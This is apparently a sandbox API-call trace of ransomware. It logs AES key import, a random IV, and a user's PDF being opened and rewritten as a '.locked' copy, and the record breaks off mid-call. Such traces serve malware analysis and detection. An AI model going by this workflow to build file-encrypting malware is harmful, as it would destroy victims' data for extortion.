(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0130.587] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0130.587] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.587] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0130.587] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.587] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0130.588] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0130.588] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0130.588] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0130.588] SystemFunction041 (in: Memory=0x438336c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438336c) returned 0x0 [0130.588] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0130.588] SystemFunction040 (in: Memory=0x438336c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438336c) returned 0x0 [0130.588] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0130.588] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0130.588] SystemFunction041 (in: Memory=0x438336c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438336c) returned 0x0 [0130.588] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0130.588] SystemFunction040 (in: Memory=0x438336c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438336c) returned 0x0 [0130.588] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0130.588] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0130.588] SystemFunction041 (in: Memory=0x438336c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438336c) returned 0x0 [0130.588] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0130.588] SystemFunction040 (in: Memory=0x438336c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438336c) returned 0x0 [0130.589] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0130.589] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0130.589] SystemFunction041 (in: Memory=0x438336c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438336c) returned 0x0 [0130.589] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0130.589] SystemFunction040 (in: Memory=0x438336c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438336c) returned 0x0 [0130.589] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0130.589] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0130.589] SystemFunction041 (in: Memory=0x438336c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438336c) returned 0x0 [0130.589] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0130.589] SystemFunction040 (in: Memory=0x438336c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438336c) returned 0x0 [0130.589] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0130.589] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0130.589] SystemFunction041 (in: Memory=0x438336c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438336c) returned 0x0 [0130.589] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0130.589] SystemFunction040 (in: Memory=0x438336c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438336c) returned 0x0 [0130.589] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0130.589] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0130.589] SystemFunction041 (in: Memory=0x438336c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438336c) returned 0x0 [0130.590] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0130.590] SystemFunction040 (in: Memory=0x438336c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438336c) returned 0x0 [0130.590] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0130.590] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0130.590] SystemFunction041 (in: Memory=0x438336c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438336c) returned 0x0 [0130.590] SystemFunction040 (in: Memory=0x438336c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438336c) returned 0x0 [0130.590] SystemFunction041 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0130.590] SystemFunction040 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0130.590] SystemFunction041 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0130.591] SystemFunction040 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0130.591] SystemFunction041 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0130.591] SystemFunction040 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0130.591] SystemFunction041 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0130.591] SystemFunction040 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0130.591] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae960*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae960*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x15, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.591] SystemFunction041 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0130.592] SystemFunction040 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0130.592] CryptAcquireContextW (in: phProv=0x99ae6e0, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae6e0*=0x43969b0) returned 1 [0130.593] CryptImportKey (in: hProv=0x43969b0, pbData=0x693ea04, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aeab8 | out: phKey=0x99aeab8*=0x8e84bb8) returned 1 [0130.593] CryptContextAddRef (hProv=0x43969b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0130.593] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae7b8, nSize=0x100 | out: lpBuffer="\xe8fc\x693") returned 0x0 [0130.593] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb90*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb90*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x16, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.594] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaf0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaf0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x15, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.594] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb80*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x16, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb80*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x16, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.596] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\HSrjj2x8m w.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb\\tkzv55s072owx0pobkt\\hsrjj2x8m w.pdf")) returned 0x20 [0130.596] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\HSrjj2x8m w.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb\\tkzv55s072owx0pobkt\\hsrjj2x8m w.pdf")) returned 0x20 [0130.596] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\HSrjj2x8m w.pdf", nBufferLength=0x105, lpBuffer=0x99ae470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\HSrjj2x8m w.pdf", lpFilePart=0x0) returned 0x5c [0130.596] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\HSrjj2x8m w.pdf", nBufferLength=0x105, lpBuffer=0x99ae434, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\HSrjj2x8m w.pdf", lpFilePart=0x0) returned 0x5c [0130.596] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeb1c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb1c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x16, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.597] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\HSrjj2x8m w.pdf", nBufferLength=0x105, lpBuffer=0x99ae1bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\HSrjj2x8m w.pdf", lpFilePart=0x0) returned 0x5c [0130.597] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\HSrjj2x8m w.pdf", nBufferLength=0x105, lpBuffer=0x99ae1bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\HSrjj2x8m w.pdf", lpFilePart=0x0) returned 0x5c [0130.598] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0130.598] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x17, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.598] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x16, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.598] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x17, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x17, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.600] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\HSrjj2x8m w.pdf", nBufferLength=0x105, lpBuffer=0x99ada90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\HSrjj2x8m w.pdf", lpFilePart=0x0) returned 0x5c [0130.601] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf84) returned 1 [0130.601] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\HSrjj2x8m w.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb\\tkzv55s072owx0pobkt\\hsrjj2x8m w.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x874 [0130.602] GetFileType (hFile=0x874) returned 0x1 [0130.603] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf80) returned 1 [0130.603] GetFileType (hFile=0x874) returned 0x1 [0130.603] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x17, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.603] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe3b0\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0130.604] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x18, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.604] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x17, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.604] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x18, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x18, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.604] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\HSrjj2x8m w.pdf.locked", nBufferLength=0x105, lpBuffer=0x99ada90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\HSrjj2x8m w.pdf.locked", lpFilePart=0x0) returned 0x63 [0130.604] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf84) returned 1 [0130.604] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\HSrjj2x8m w.pdf.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb\\tkzv55s072owx0pobkt\\hsrjj2x8m w.pdf.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x868 [0130.605] GetFileType (hFile=0x868) returned 0x1 [0130.605] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf80) returned 1 [0130.605] GetFileType (hFile=0x868) returned 0x1 [0130.605] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x18, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.605] CryptGenRandom (in: hProv=0x43969b0, dwLen=0x10, pbBuffer=0x695bbc4 | out: pbBuffer=0x695bbc4) returned 1 [0130.606] CryptContextAddRef (hProv=0x43969b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0130.606] CryptDuplicateKey (in: hKey=0x8e84bb8, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae6bc | out: phKey=0x99ae6bc*=0x8e84a78) returned 1 [0130.606] CryptContextAddRef (hProv=0x43969b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0130.606] CryptSetKeyParam (hKey=0x8e84a78, dwParam=0x4, pbData=0x695ce80*=0x1, dwFlags=0x0) returned 1 [0130.606] CryptSetKeyParam (hKey=0x8e84a78, dwParam=0x1, pbData=0x695ce4c, dwFlags=0x0) returned 1 [0130.607] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="\xe2f0\x99a\x18b2\x7477\x2210\x438\x242") returned 0x0 [0130.607] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x19, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.607] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x18, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.607] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x19, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x19, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.608] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x19, 